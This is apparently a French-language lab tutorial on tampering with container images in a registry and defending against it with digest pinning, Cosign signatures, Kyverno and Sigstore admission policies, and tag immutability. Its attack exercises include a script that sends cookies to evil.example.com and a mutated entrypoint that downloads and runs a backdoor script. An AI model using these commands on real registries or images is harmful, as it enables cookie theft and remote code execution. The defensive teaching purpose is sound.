{"id":548,"date":"2026-03-22T22:14:53","date_gmt":"2026-03-22T21:14:53","guid":{"rendered":"https:\/\/secure-pipelines.com\/?p=548"},"modified":"2026-03-24T12:59:50","modified_gmt":"2026-03-24T11:59:50","slug":"lab-artifact-tampering-detection-swapping-container-images-registry-2","status":"publish","type":"post","link":"https:\/\/secure-pipelines.com\/fr\/ci-cd-security\/lab-artifact-tampering-detection-swapping-container-images-registry-2\/","title":{"rendered":"Lab : Falsification d&rsquo;Artefacts et D\u00e9tection \u2014 Remplacement d&rsquo;Images Container dans un Registre"},"content":{"rendered":"<h2>Aper\u00e7u<\/h2>\n<p>Les tags d&rsquo;images container sont des pointeurs mutables. Contrairement \u00e0 un hash de commit Git, le tag <code>v1.0.0<\/code> n&rsquo;est pas li\u00e9 cryptographiquement \u00e0 une image sp\u00e9cifique \u2014 c&rsquo;est simplement une \u00e9tiquette qu&rsquo;un registre associe \u00e0 un digest de manifeste. Toute personne disposant d&rsquo;un acc\u00e8s push \u00e0 un d\u00e9p\u00f4t peut \u00e9craser cette association \u00e0 tout moment, rempla\u00e7ant silencieusement l&rsquo;image derri\u00e8re un tag de confiance.<\/p>\n<p>Ce n&rsquo;est pas un risque th\u00e9orique. Les attaques de cha\u00eene d&rsquo;approvisionnement exploitent r\u00e9guli\u00e8rement la mutabilit\u00e9 des tags pour injecter du code malveillant dans les environnements de production. Si vos manifestes de d\u00e9ploiement r\u00e9f\u00e9rencent <code>myapp:v1.0.0<\/code> par tag, un attaquant qui compromet les identifiants du registre peut remplacer l&rsquo;image, et chaque pull ult\u00e9rieur r\u00e9cup\u00e9rera la charge utile de l&rsquo;attaquant au lieu de votre build l\u00e9gitime.<\/p>\n<p>Dans ce lab, vous allez :<\/p>\n<ol>\n<li>Configurer un registre OCI local et pousser une image container l\u00e9gitime.<\/li>\n<li>Effectuer une attaque par mutation de tag \u2014 pousser une image compl\u00e8tement diff\u00e9rente sous le m\u00eame tag.<\/li>\n<li>Effectuer une attaque par injection de couche \u2014 modifier subtilement une image existante sans la reconstruire.<\/li>\n<li>D\u00e9tecter la falsification avec la comparaison de digests.<\/li>\n<li>Se d\u00e9fendre contre la falsification avec le pinning de digest, les signatures Cosign, les contr\u00f4leurs d&rsquo;admission et les param\u00e8tres d&rsquo;immutabilit\u00e9 du registre.<\/li>\n<\/ol>\n<p>\u00c0 la fin, vous aurez une exp\u00e9rience pratique du cycle complet attaque-et-d\u00e9fense pour l&rsquo;int\u00e9grit\u00e9 des images container.<\/p>\n<h2>Pr\u00e9requis<\/h2>\n<p>Installez les outils suivants avant de commencer. Toutes les commandes de ce lab sont test\u00e9es sur Linux et macOS.<\/p>\n<table>\n<thead>\n<tr>\n<th>Outil<\/th>\n<th>Objectif<\/th>\n<th>Installation<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td><strong>Docker<\/strong><\/td>\n<td>Construire et ex\u00e9cuter des containers<\/td>\n<td><a href=\"https:\/\/docs.docker.com\/get-docker\/\" target=\"_blank\" rel=\"noopener\">docs.docker.com\/get-docker<\/a><\/td>\n<\/tr>\n<tr>\n<td><strong>crane<\/strong><\/td>\n<td>Inspecter et modifier des images OCI sans Docker<\/td>\n<td><code>go install github.com\/google\/go-containerregistry\/cmd\/crane@latest<\/code><\/td>\n<\/tr>\n<tr>\n<td><strong>Cosign<\/strong><\/td>\n<td>Signer et v\u00e9rifier des images container<\/td>\n<td><a href=\"https:\/\/docs.sigstore.dev\/cosign\/system_config\/installation\/\" target=\"_blank\" rel=\"noopener\">docs.sigstore.dev\/cosign<\/a><\/td>\n<\/tr>\n<tr>\n<td><strong>kubectl + kind<\/strong><\/td>\n<td>Cluster Kubernetes local (pour les exercices de contr\u00f4le d&rsquo;admission)<\/td>\n<td><a href=\"https:\/\/kind.sigs.k8s.io\/docs\/user\/quick-start\/\" target=\"_blank\" rel=\"noopener\">kind.sigs.k8s.io<\/a><\/td>\n<\/tr>\n<tr>\n<td><strong>jq<\/strong><\/td>\n<td>Traitement JSON<\/td>\n<td><code>apt install jq<\/code> \/ <code>brew install jq<\/code><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>V\u00e9rifiez votre installation :<\/p>\n<pre><code>docker --version\ncrane version\ncosign version\nkubectl version --client\nkind version\njq --version<\/code><\/pre>\n<h2>Configuration de l&rsquo;Environnement<\/h2>\n<h3>D\u00e9marrer un Registre Local<\/h3>\n<p>Nous utilisons l&rsquo;image officielle du registre Docker. Cela nous donne un registre priv\u00e9, non authentifi\u00e9 \u2014 parfait pour d\u00e9montrer \u00e0 quel point la mutation de tag est facile lorsqu&rsquo;un acc\u00e8s push existe.<\/p>\n<pre><code>docker run -d -p 5000:5000 --name registry registry:2<\/code><\/pre>\n<p>Confirmez que le registre fonctionne :<\/p>\n<pre><code>curl -s http:\/\/localhost:5000\/v2\/_catalog\n# Attendu : {\"repositories\":[]}<\/code><\/pre>\n<h3>Construire et Pousser une Image L\u00e9gitime<\/h3>\n<p>Cr\u00e9ez une application minimale bas\u00e9e sur Nginx qui sert une page simple :<\/p>\n<pre><code>mkdir -p \/tmp\/lab-legitimate && cd \/tmp\/lab-legitimate\n\ncat > index.html <<'EOF'\n<!DOCTYPE html>\n<html>\n<head><title>Legitimate App<\/title><\/head>\n<body><h1>Hello from the LEGITIMATE image<\/h1><\/body>\n<\/html>\nEOF\n\ncat > Dockerfile <<'EOF'\nFROM nginx:1.27-alpine\nCOPY index.html \/usr\/share\/nginx\/html\/index.html\nEOF\n\ndocker build -t localhost:5000\/myapp:v1.0.0 .\ndocker push localhost:5000\/myapp:v1.0.0<\/code><\/pre>\n<h3>Enregistrer le Digest Original<\/h3>\n<p>Ce digest est votre source de v\u00e9rit\u00e9. Sauvegardez-le \u2014 vous l'utiliserez tout au long du lab pour d\u00e9tecter et pr\u00e9venir la falsification.<\/p>\n<pre><code>ORIGINAL_DIGEST=$(crane digest localhost:5000\/myapp:v1.0.0)\necho \"Original digest: $ORIGINAL_DIGEST\"\n# Exemple de sortie : sha256:a1b2c3d4e5f6...<\/code><\/pre>\n<p>Sauvegardez \u00e9galement le manifeste complet pour une comparaison ult\u00e9rieure :<\/p>\n<pre><code>crane manifest localhost:5000\/myapp:v1.0.0 | jq . > \/tmp\/original-manifest.json<\/code><\/pre>\n<h2>Exercice 1 : L'Attaque \u2014 Mutation de Tag<\/h2>\n<p>La mutation de tag est la forme la plus simple de falsification d'image container. L'attaquant construit une image compl\u00e8tement diff\u00e9rente et la pousse sous le m\u00eame tag, \u00e9crasant l'image l\u00e9gitime dans le registre.<\/p>\n<h3>\u00c9tape 1 : Construire une Image Malveillante<\/h3>\n<p>Cr\u00e9ez une image qui semble similaire mais sert un contenu diff\u00e9rent \u2014 ou dans une attaque r\u00e9elle, ex\u00e9cute un reverse shell, exfiltre des secrets ou mine de la cryptomonnaie :<\/p>\n<pre><code>mkdir -p \/tmp\/lab-malicious && cd \/tmp\/lab-malicious\n\ncat > index.html <<'EOF'\n<!DOCTYPE html>\n<html>\n<head><title>Legitimate App<\/title><\/head>\n<body>\n<h1>Hello from the LEGITIMATE image<\/h1>\n<!-- Attacker payload hidden below -->\n<script>fetch('https:\/\/evil.example.com\/exfil?cookie='+document.cookie)<\/script>\n<\/body>\n<\/html>\nEOF\n\ncat > Dockerfile <<'EOF'\nFROM nginx:1.27-alpine\nCOPY index.html \/usr\/share\/nginx\/html\/index.html\n# In a real attack, additional malicious layers would be added here\nEOF\n\ndocker build -t localhost:5000\/myapp:v1.0.0 .\ndocker push localhost:5000\/myapp:v1.0.0<\/code><\/pre>\n<p>Notez le d\u00e9tail critique : nous avons pouss\u00e9 vers <strong>exactement le m\u00eame tag<\/strong> \u2014 <code>localhost:5000\/myapp:v1.0.0<\/code>.<\/p>\n<h3>\u00c9tape 2 : V\u00e9rifier que le Tag a \u00e9t\u00e9 \u00c9cras\u00e9<\/h3>\n<pre><code>TAMPERED_DIGEST=$(crane digest localhost:5000\/myapp:v1.0.0)\necho \"Original digest:  $ORIGINAL_DIGEST\"\necho \"Current digest:   $TAMPERED_DIGEST\"\n\nif [ \"$ORIGINAL_DIGEST\" != \"$TAMPERED_DIGEST\" ]; then\n  echo \"ATTENTION : Le tag v1.0.0 a \u00e9t\u00e9 MUT\u00c9 \u2014 l'image a chang\u00e9 !\"\nfi<\/code><\/pre>\n<p>Sortie :<\/p>\n<pre><code>Original digest:  sha256:a1b2c3d4...\nCurrent digest:   sha256:x9y8z7w6...\nATTENTION : Le tag v1.0.0 a \u00e9t\u00e9 MUT\u00c9 \u2014 l'image a chang\u00e9 !<\/code><\/pre>\n<p>Toute personne effectuant un pull de <code>myapp:v1.0.0<\/code> re\u00e7oit maintenant l'image de l'attaquant. Il n'y a aucun avertissement, aucune notification et aucune trace d'audit dans un registre basique. Le tag pointe simplement vers un nouveau manifeste.<\/p>\n<h3>Pourquoi C'est Dangereux<\/h3>\n<p>Cette attaque est triviale \u00e0 ex\u00e9cuter pour quiconque dispose d'identifiants push sur le registre \u2014 un compte de service CI compromis, un token divulgu\u00e9 dans un d\u00e9p\u00f4t public ou un membre d'\u00e9quipe m\u00e9content. Le tag de l'image semble identique, le nom du d\u00e9p\u00f4t semble identique, et la plupart des pipelines de d\u00e9ploiement effectuent aveugl\u00e9ment un pull de ce vers quoi le tag pointe.<\/p>\n<h2>Exercice 2 : L'Attaque \u2014 Injection de Couche<\/h2>\n<p>Un remplacement complet d'image est efficace mais grossier. Un attaquant plus sophistiqu\u00e9 peut modifier une image existante en place, ajoutant ou alt\u00e9rant des couches sans reconstruire \u00e0 partir d'un Dockerfile. Cela rend la falsification plus difficile \u00e0 d\u00e9tecter lors d'une inspection superficielle.<\/p>\n<h3>\u00c9tape 1 : R\u00e9initialiser \u00e0 l'Image L\u00e9gitime<\/h3>\n<p>D'abord, reconstruisez et poussez l'image l\u00e9gitime pour avoir une base propre :<\/p>\n<pre><code>cd \/tmp\/lab-legitimate\ndocker build -t localhost:5000\/myapp:v1.0.0 .\ndocker push localhost:5000\/myapp:v1.0.0\nORIGINAL_DIGEST=$(crane digest localhost:5000\/myapp:v1.0.0)\necho \"Reset to original digest: $ORIGINAL_DIGEST\"<\/code><\/pre>\n<h3>\u00c9tape 2 : Modifier l'Image avec crane<\/h3>\n<p>La commande <code>crane mutate<\/code> modifie les m\u00e9tadonn\u00e9es et la configuration de l'image sans n\u00e9cessiter une reconstruction compl\u00e8te. Un attaquant peut changer l'entrypoint, ajouter des variables d'environnement ou injecter des commandes :<\/p>\n<pre><code># Changer l'entrypoint pour ex\u00e9cuter une commande malveillante avant le processus original\ncrane mutate localhost:5000\/myapp:v1.0.0 \\\n  --entrypoint \"\/bin\/sh,-c,wget -q https:\/\/evil.example.com\/backdoor.sh -O \/tmp\/b.sh && sh \/tmp\/b.sh; nginx -g 'daemon off;'\" \\\n  --tag localhost:5000\/myapp:v1.0.0<\/code><\/pre>\n<p>Cette seule commande \u00e9crase le tag avec une image modifi\u00e9e qui ex\u00e9cutera un t\u00e9l\u00e9chargement malveillant avant de d\u00e9marrer Nginx \u2014 le tout sans \u00e9crire de Dockerfile ni construire \u00e0 partir de z\u00e9ro.<\/p>\n<h3>\u00c9tape 3 : Comparer les Manifestes<\/h3>\n<pre><code>crane manifest localhost:5000\/myapp:v1.0.0 | jq . > \/tmp\/tampered-manifest.json\ndiff \/tmp\/original-manifest.json \/tmp\/tampered-manifest.json<\/code><\/pre>\n<p>Le diff montrera que le digest de configuration a chang\u00e9 (parce que la configuration de l'image \u2014 y compris l'entrypoint \u2014 est diff\u00e9rente), mais les couches de base peuvent rester identiques. Pour un op\u00e9rateur inspectant superficiellement l'image, elle semble presque identique :<\/p>\n<pre><code># Inspecter la configuration de l'image falsifi\u00e9e\ncrane config localhost:5000\/myapp:v1.0.0 | jq '.config.Entrypoint'\n# Affiche l'entrypoint malveillant inject\u00e9\n\n# Comparer avec l'original\ndocker inspect localhost:5000\/myapp@$ORIGINAL_DIGEST | jq '.[0].Config.Entrypoint'\n# Affiche l'entrypoint original, propre<\/code><\/pre>\n<p>Cette technique est particuli\u00e8rement dangereuse dans les environnements o\u00f9 les \u00e9quipes ne v\u00e9rifient que le tag de l'image ou le manifeste de niveau sup\u00e9rieur sans inspecter la configuration compl\u00e8te.<\/p>\n<h2>Exercice 3 : D\u00e9tection \u2014 Comparaison de Digests<\/h2>\n<p>Le m\u00e9canisme de d\u00e9tection le plus fondamental est la comparaison de digests. Puisque chaque image unique poss\u00e8de un digest SHA-256 unique, tout changement \u2014 aussi minime soit-il \u2014 produit un hash compl\u00e8tement diff\u00e9rent.<\/p>\n<h3>\u00c9tape 1 : Script de V\u00e9rification Manuelle<\/h3>\n<p>Cr\u00e9ez un script qui v\u00e9rifie si un tag d'image pointe toujours vers le digest attendu :<\/p>\n<pre><code>cat > \/tmp\/verify-digest.sh <<'SCRIPT'\n#!\/bin\/bash\nset -euo pipefail\n\nIMAGE=\"$1\"\nEXPECTED_DIGEST=\"$2\"\n\nCURRENT_DIGEST=$(crane digest \"$IMAGE\" 2>\/dev\/null)\n\nif [ \"$CURRENT_DIGEST\" = \"$EXPECTED_DIGEST\" ]; then\n  echo \"PASS: $IMAGE matches expected digest\"\n  echo \"  Digest: $CURRENT_DIGEST\"\n  exit 0\nelse\n  echo \"FAIL: $IMAGE has been TAMPERED WITH\"\n  echo \"  Expected: $EXPECTED_DIGEST\"\n  echo \"  Actual:   $CURRENT_DIGEST\"\n  exit 1\nfi\nSCRIPT\nchmod +x \/tmp\/verify-digest.sh<\/code><\/pre>\n<p>Ex\u00e9cutez-le :<\/p>\n<pre><code># Ceci va \u00c9CHOUER car l'image a \u00e9t\u00e9 falsifi\u00e9e dans l'Exercice 2\n\/tmp\/verify-digest.sh localhost:5000\/myapp:v1.0.0 \"$ORIGINAL_DIGEST\"\n# Sortie : FAIL: localhost:5000\/myapp:v1.0.0 has been TAMPERED WITH<\/code><\/pre>\n<h3>\u00c9tape 2 : Int\u00e9gration dans le Pipeline CI \u2014 GitHub Actions<\/h3>\n<p>Int\u00e9grez la v\u00e9rification de digest dans votre pipeline CI\/CD afin que les images falsifi\u00e9es soient d\u00e9tect\u00e9es avant le d\u00e9ploiement :<\/p>\n<pre><code>name: Verify Image Integrity\n\non:\n  workflow_dispatch:\n  push:\n    branches: [main]\n\nenv:\n  REGISTRY: ghcr.io\n  IMAGE_NAME: ${{ github.repository }}\/myapp\n\njobs:\n  verify-image:\n    runs-on: ubuntu-latest\n    steps:\n      - name: Install crane\n        uses: imjasonh\/setup-crane@v0.4\n\n      - name: Log in to registry\n        uses: docker\/login-action@v3\n        with:\n          registry: ${{ env.REGISTRY }}\n          username: ${{ github.actor }}\n          password: ${{ secrets.GITHUB_TOKEN }}\n\n      - name: Verify image digest\n        env:\n          EXPECTED_DIGEST: ${{ vars.MYAPP_V1_DIGEST }}\n        run: |\n          IMAGE=\"${{ env.REGISTRY }}\/${{ env.IMAGE_NAME }}:v1.0.0\"\n          CURRENT_DIGEST=$(crane digest \"$IMAGE\")\n\n          echo \"Expected: $EXPECTED_DIGEST\"\n          echo \"Actual:   $CURRENT_DIGEST\"\n\n          if [ \"$CURRENT_DIGEST\" != \"$EXPECTED_DIGEST\" ]; then\n            echo \"::error::Image digest mismatch \u2014 possible tampering detected!\"\n            exit 1\n          fi\n\n          echo \"Image integrity verified.\"\n\n      - name: Verify all deployment images\n        run: |\n          while IFS='=' read -r image digest; do\n            CURRENT=$(crane digest \"$image\")\n            if [ \"$CURRENT\" != \"$digest\" ]; then\n              echo \"::error::TAMPERED: $image (expected $digest, got $CURRENT)\"\n              FAILED=1\n            else\n              echo \"OK: $image\"\n            fi\n          done < .\/deploy\/image-digests.txt\n\n          [ -z \"${FAILED:-}\" ] || exit 1<\/code><\/pre>\n<p>Stockez vos digests attendus dans un fichier versionn\u00e9 (<code>deploy\/image-digests.txt<\/code>) afin que toute modification des digests attendus passe par une revue de code :<\/p>\n<pre><code># deploy\/image-digests.txt\nghcr.io\/myorg\/myapp:v1.0.0=sha256:a1b2c3d4e5f6...\nghcr.io\/myorg\/myapp:v2.0.0=sha256:f6e5d4c3b2a1...<\/code><\/pre>\n<h2>Exercice 4 : D\u00e9fense \u2014 Pinning de Digest<\/h2>\n<p>Le pinning de digest est la d\u00e9fense la plus simple et la plus efficace contre la mutation de tag. Au lieu de r\u00e9f\u00e9rencer une image par son tag mutable, vous la r\u00e9f\u00e9rencez par son digest immutable.<\/p>\n<h3>\u00c9tape 1 : \u00c9pingler l'Image dans un Manifeste Kubernetes<\/h3>\n<p>Remplacez les r\u00e9f\u00e9rences bas\u00e9es sur les tags par des r\u00e9f\u00e9rences bas\u00e9es sur les digests :<\/p>\n<pre><code># VULN\u00c9RABLE : utilise un tag mutable\n# image: localhost:5000\/myapp:v1.0.0\n\n# S\u00c9CURIS\u00c9 : \u00e9pingl\u00e9 \u00e0 un digest immutable\napiVersion: apps\/v1\nkind: Deployment\nmetadata:\n  name: myapp\nspec:\n  replicas: 1\n  selector:\n    matchLabels:\n      app: myapp\n  template:\n    metadata:\n      labels:\n        app: myapp\n    spec:\n      containers:\n      - name: myapp\n        image: localhost:5000\/myapp@sha256:a1b2c3d4e5f6...\n        ports:\n        - containerPort: 80<\/code><\/pre>\n<p>Avec le pinning de digest, m\u00eame si un attaquant modifie le tag <code>v1.0.0<\/code>, votre d\u00e9ploiement r\u00e9cup\u00e8re toujours l'image exacte identifi\u00e9e par le digest \u00e9pingl\u00e9. Le registre r\u00e9sout les images par digest ind\u00e9pendamment des tags.<\/p>\n<h3>\u00c9tape 2 : Tester<\/h3>\n<pre><code># R\u00e9initialiser \u00e0 l'image propre\ncd \/tmp\/lab-legitimate\ndocker build -t localhost:5000\/myapp:v1.0.0 .\ndocker push localhost:5000\/myapp:v1.0.0\nORIGINAL_DIGEST=$(crane digest localhost:5000\/myapp:v1.0.0)\n\n# Falsifier le tag\ncd \/tmp\/lab-malicious\ndocker build -t localhost:5000\/myapp:v1.0.0 .\ndocker push localhost:5000\/myapp:v1.0.0\n\n# Pull par tag \u2014 obtient l'image FALSIFI\u00c9E\ndocker pull localhost:5000\/myapp:v1.0.0\n\n# Pull par digest \u2014 obtient l'image ORIGINALE\ndocker pull localhost:5000\/myapp@$ORIGINAL_DIGEST\n\n# V\u00e9rifier\ndocker run --rm localhost:5000\/myapp@$ORIGINAL_DIGEST cat \/usr\/share\/nginx\/html\/index.html\n# Sortie : Hello from the LEGITIMATE image<\/code><\/pre>\n<h3>\u00c9tape 3 : Imposer le Pinning de Digest avec Kyverno<\/h3>\n<p>Pour s'assurer qu'aucun membre de l'\u00e9quipe ne d\u00e9ploie accidentellement une r\u00e9f\u00e9rence bas\u00e9e sur un tag, utilisez une politique Kyverno qui rejette toute sp\u00e9cification de pod n'utilisant pas de digest :<\/p>\n<pre><code>apiVersion: kyverno.io\/v1\nkind: ClusterPolicy\nmetadata:\n  name: require-image-digest\n  annotations:\n    policies.kyverno.io\/title: Require Image Digest\n    policies.kyverno.io\/description: >-\n      Requires all container images to be referenced by digest\n      rather than by tag, preventing tag-mutation attacks.\nspec:\n  validationFailureAction: Enforce\n  background: true\n  rules:\n  - name: check-image-digest\n    match:\n      any:\n      - resources:\n          kinds:\n          - Pod\n    validate:\n      message: \"Images must be referenced by digest (image@sha256:...), not by tag.\"\n      pattern:\n        spec:\n          containers:\n          - image: \"*@sha256:*\"\n  - name: check-init-container-digest\n    match:\n      any:\n      - resources:\n          kinds:\n          - Pod\n    preconditions:\n      all:\n      - key: \"{{ request.object.spec.initContainers[] || `[]` | length(@) }}\"\n        operator: GreaterThanOrEquals\n        value: 1\n    validate:\n      message: \"Init container images must be referenced by digest.\"\n      pattern:\n        spec:\n          initContainers:\n          - image: \"*@sha256:*\"<\/code><\/pre>\n<p>Appliquez la politique et testez :<\/p>\n<pre><code>kubectl apply -f require-image-digest.yaml\n\n# Ceci sera REJET\u00c9 (utilise un tag)\nkubectl run test --image=localhost:5000\/myapp:v1.0.0\n# Erreur : Images must be referenced by digest (image@sha256:...), not by tag.\n\n# Ceci sera ADMIS (utilise un digest)\nkubectl run test --image=localhost:5000\/myapp@sha256:a1b2c3d4e5f6...<\/code><\/pre>\n<h2>Exercice 5 : D\u00e9fense \u2014 V\u00e9rification de Signature Cosign<\/h2>\n<p>Le pinning de digest vous indique <em>quelle<\/em> image est de confiance, mais ne prouve pas <em>qui l'a construite<\/em>. Les signatures Cosign lient une identit\u00e9 cryptographique \u00e0 un digest d'image, vous permettant de v\u00e9rifier la provenance.<\/p>\n<h3>\u00c9tape 1 : G\u00e9n\u00e9rer une Paire de Cl\u00e9s de Signature<\/h3>\n<pre><code>cosign generate-key-pair\n# Cr\u00e9e cosign.key (priv\u00e9e) et cosign.pub (publique)<\/code><\/pre>\n<h3>\u00c9tape 2 : Signer l'Image L\u00e9gitime<\/h3>\n<p>Signez toujours par digest, jamais par tag :<\/p>\n<pre><code># R\u00e9initialiser \u00e0 l'image propre\ncd \/tmp\/lab-legitimate\ndocker build -t localhost:5000\/myapp:v1.0.0 .\ndocker push localhost:5000\/myapp:v1.0.0\nORIGINAL_DIGEST=$(crane digest localhost:5000\/myapp:v1.0.0)\n\n# Signer par digest\ncosign sign --key cosign.key --tlog-upload=false \\\n  localhost:5000\/myapp@${ORIGINAL_DIGEST}\n\n# V\u00e9rifier la signature\ncosign verify --key cosign.pub --insecure-ignore-tlog=true \\\n  localhost:5000\/myapp@${ORIGINAL_DIGEST}<\/code><\/pre>\n<h3>\u00c9tape 3 : Falsifier le Tag et V\u00e9rifier<\/h3>\n<pre><code># Pousser l'image malveillante sous le m\u00eame tag\ncd \/tmp\/lab-malicious\ndocker build -t localhost:5000\/myapp:v1.0.0 .\ndocker push localhost:5000\/myapp:v1.0.0\n\n# Essayer de v\u00e9rifier le tag \u2014 ceci va \u00c9CHOUER\ncosign verify --key cosign.pub --insecure-ignore-tlog=true \\\n  localhost:5000\/myapp:v1.0.0\n# Erreur : no matching signatures\n\n# V\u00e9rifier le digest original \u2014 ceci R\u00c9USSIT toujours\ncosign verify --key cosign.pub --insecure-ignore-tlog=true \\\n  localhost:5000\/myapp@${ORIGINAL_DIGEST}\n# Sortie : Verified OK<\/code><\/pre>\n<p>Cela d\u00e9montre la propri\u00e9t\u00e9 cl\u00e9 : <strong>les signatures Cosign sont li\u00e9es aux digests, pas aux tags.<\/strong> Lorsqu'un attaquant modifie un tag, la signature ne suit pas \u2014 elle reste attach\u00e9e au digest original. La v\u00e9rification contre le tag \u00e9choue car le tag pointe maintenant vers une image non sign\u00e9e.<\/p>\n<h3>Pourquoi C'est Important<\/h3>\n<p>Les signatures fournissent une cha\u00eene de confiance du constructeur au d\u00e9ployeur. M\u00eame si un attaquant obtient un acc\u00e8s push \u00e0 votre registre, il ne peut pas forger une signature valide sans votre cl\u00e9 de signature priv\u00e9e. Combin\u00e9es avec le pinning de digest, les signatures vous offrent \u00e0 la fois l'int\u00e9grit\u00e9 (l'image n'a pas \u00e9t\u00e9 modifi\u00e9e) et l'authenticit\u00e9 (l'image a \u00e9t\u00e9 construite par une partie de confiance).<\/p>\n<h2>Exercice 6 : D\u00e9fense \u2014 Application par Contr\u00f4leur d'Admission<\/h2>\n<p>Le pinning de digest et les signatures ne sont efficaces que s'ils sont appliqu\u00e9s de mani\u00e8re coh\u00e9rente. Un contr\u00f4leur d'admission automatise cette application au niveau de l'API Kubernetes, rejetant toute charge de travail qui r\u00e9f\u00e9rence une image non sign\u00e9e ou non v\u00e9rifi\u00e9e.<\/p>\n<h3>\u00c9tape 1 : Cr\u00e9er un Cluster Kind<\/h3>\n<pre><code>kind create cluster --name sigstore-lab\ndocker network connect kind registry\nkubectl cluster-info --context kind-sigstore-lab<\/code><\/pre>\n<h3>\u00c9tape 2 : Installer le Policy Controller Sigstore<\/h3>\n<pre><code>helm repo add sigstore https:\/\/sigstore.github.io\/helm-charts\nhelm repo update\n\nhelm install policy-controller sigstore\/policy-controller \\\n  --namespace cosign-system \\\n  --create-namespace \\\n  --set webhook.configMapName=policy-controller-config<\/code><\/pre>\n<p>Attendez que le contr\u00f4leur soit pr\u00eat :<\/p>\n<pre><code>kubectl -n cosign-system rollout status deploy\/policy-controller-webhook<\/code><\/pre>\n<h3>\u00c9tape 3 : Cr\u00e9er une Politique de V\u00e9rification<\/h3>\n<pre><code>kubectl create secret generic cosign-pub-key \\\n  --from-file=cosign.pub=cosign.pub \\\n  -n cosign-system\n\nkubectl label namespace default \\\n  policy.sigstore.dev\/include=true<\/code><\/pre>\n<p>Cr\u00e9ez une <code>ClusterImagePolicy<\/code> qui exige une signature Cosign valide pour toutes les images de votre registre :<\/p>\n<pre><code>apiVersion: policy.sigstore.dev\/v1beta1\nkind: ClusterImagePolicy\nmetadata:\n  name: require-signature\nspec:\n  images:\n  - glob: \"localhost:5000\/**\"\n  authorities:\n  - key:\n      secretRef:\n        name: cosign-pub-key\n        namespace: cosign-system\n      hashAlgorithm: sha256<\/code><\/pre>\n<pre><code>kubectl apply -f cluster-image-policy.yaml<\/code><\/pre>\n<h3>\u00c9tape 4 : Tester l'Application<\/h3>\n<pre><code># D\u00e9ployer avec l'image SIGN\u00c9E (par digest) \u2014 ADMIS\nkubectl run signed-app \\\n  --image=localhost:5000\/myapp@${ORIGINAL_DIGEST}\n# pod\/signed-app created\n\n# D\u00e9ployer avec l'image FALSIFI\u00c9E (non sign\u00e9e) \u2014 REJET\u00c9\nTAMPERED_DIGEST=$(crane digest localhost:5000\/myapp:v1.0.0)\nkubectl run tampered-app \\\n  --image=localhost:5000\/myapp@${TAMPERED_DIGEST}\n# Error from server (BadRequest): admission webhook \"policy.sigstore.dev\" denied the request:\n# validation failed: failed policy: require-signature: \n# spec.containers[0].image signature verification failed<\/code><\/pre>\n<p>Le contr\u00f4leur d'admission bloque automatiquement toute image qui ne poss\u00e8de pas de signature valide provenant de votre cl\u00e9 de confiance. Cela boucle la boucle \u2014 m\u00eame si un attaquant pousse une image falsifi\u00e9e, elle ne peut pas s'ex\u00e9cuter dans votre cluster.<\/p>\n<h2>Exercice 7 : Immutabilit\u00e9 du Registre<\/h2>\n<p>Les attaques des Exercices 1 et 2 ne sont possibles que parce que le registre autorise l'\u00e9crasement des tags. De nombreux registres manag\u00e9s prennent en charge l'<strong>immutabilit\u00e9 des tags<\/strong>, qui emp\u00eache tout push vers un tag existant.<\/p>\n<h3>AWS ECR : Activer l'Immutabilit\u00e9 des Tags<\/h3>\n<pre><code>aws ecr put-image-tag-mutability \\\n  --repository-name myapp \\\n  --image-tag-mutability IMMUTABLE\n\naws ecr describe-repositories --repository-names myapp \\\n  | jq '.repositories[0].imageTagMutability'\n# Sortie : \"IMMUTABLE\"<\/code><\/pre>\n<p>Avec l'immutabilit\u00e9 activ\u00e9e, toute tentative de push vers un tag existant est rejet\u00e9e :<\/p>\n<pre><code>docker push 123456789.dkr.ecr.us-east-1.amazonaws.com\/myapp:v1.0.0\n# Erreur : tag invalid: The image tag 'v1.0.0' already exists in the 'myapp' repository\n# and cannot be overwritten because the repository is immutable.<\/code><\/pre>\n<h3>Google Artifact Registry : Activer l'Immutabilit\u00e9 des Tags<\/h3>\n<pre><code>gcloud artifacts repositories update myapp-repo \\\n  --location=us-central1 \\\n  --immutable-tags<\/code><\/pre>\n<h3>Azure ACR : Activer le Verrouillage des Tags<\/h3>\n<pre><code>az acr repository update \\\n  --name myregistry \\\n  --image myapp:v1.0.0 \\\n  --write-enabled false<\/code><\/pre>\n<h3>Docker Hub et GHCR<\/h3>\n<p>Docker Hub et GitHub Container Registry ne prennent actuellement pas en charge l'immutabilit\u00e9 des tags au niveau du registre. Pour ces registres, appuyez-vous sur les signatures Cosign et les contr\u00f4leurs d'admission comme d\u00e9fense principale.<\/p>\n<h3>Compromis<\/h3>\n<p>L'immutabilit\u00e9 des tags emp\u00eache l'\u00e9crasement mais emp\u00eache \u00e9galement les sc\u00e9narios l\u00e9gitimes de re-tagging (comme la promotion d'une image de <code>staging<\/code> \u00e0 <code>production<\/code> en re-taguant). Planifiez votre strat\u00e9gie de tagging en cons\u00e9quence \u2014 utilisez des tags uniques (tels que des tags bas\u00e9s sur le SHA Git) et des workflows de promotion qui cr\u00e9ent de nouveaux tags plut\u00f4t que d'\u00e9craser les existants.<\/p>\n<h2>Nettoyage<\/h2>\n<p>Supprimez toutes les ressources cr\u00e9\u00e9es pendant ce lab :<\/p>\n<pre><code># Arr\u00eater et supprimer le registre local\ndocker stop registry && docker rm registry\n\n# Supprimer le cluster kind (si cr\u00e9\u00e9)\nkind delete cluster --name sigstore-lab\n\n# Nettoyer les fichiers temporaires\nrm -rf \/tmp\/lab-legitimate \/tmp\/lab-malicious\nrm -f \/tmp\/original-manifest.json \/tmp\/tampered-manifest.json\nrm -f \/tmp\/verify-digest.sh\nrm -f cosign.key cosign.pub\n\n# Supprimer les images en cache local\ndocker rmi localhost:5000\/myapp:v1.0.0 2>\/dev\/null || true<\/code><\/pre>\n<h2>Points Cl\u00e9s \u00e0 Retenir<\/h2>\n<ul>\n<li><strong>Les tags d'images container sont mutables.<\/strong> Toute personne disposant d'un acc\u00e8s push peut silencieusement remplacer l'image derri\u00e8re un tag. Ne faites jamais confiance \u00e0 un tag comme garantie du contenu de l'image.<\/li>\n<li><strong>Le pinning de digest est votre premi\u00e8re ligne de d\u00e9fense.<\/strong> R\u00e9f\u00e9rencer les images par <code>@sha256:...<\/code> au lieu de <code>:tag<\/code> garantit que vous r\u00e9cup\u00e9rez toujours l'image exacte que vous souhaitez, ind\u00e9pendamment des mutations de tag.<\/li>\n<li><strong>Les signatures Cosign prouvent la provenance.<\/strong> Les signatures lient une identit\u00e9 cryptographique \u00e0 un 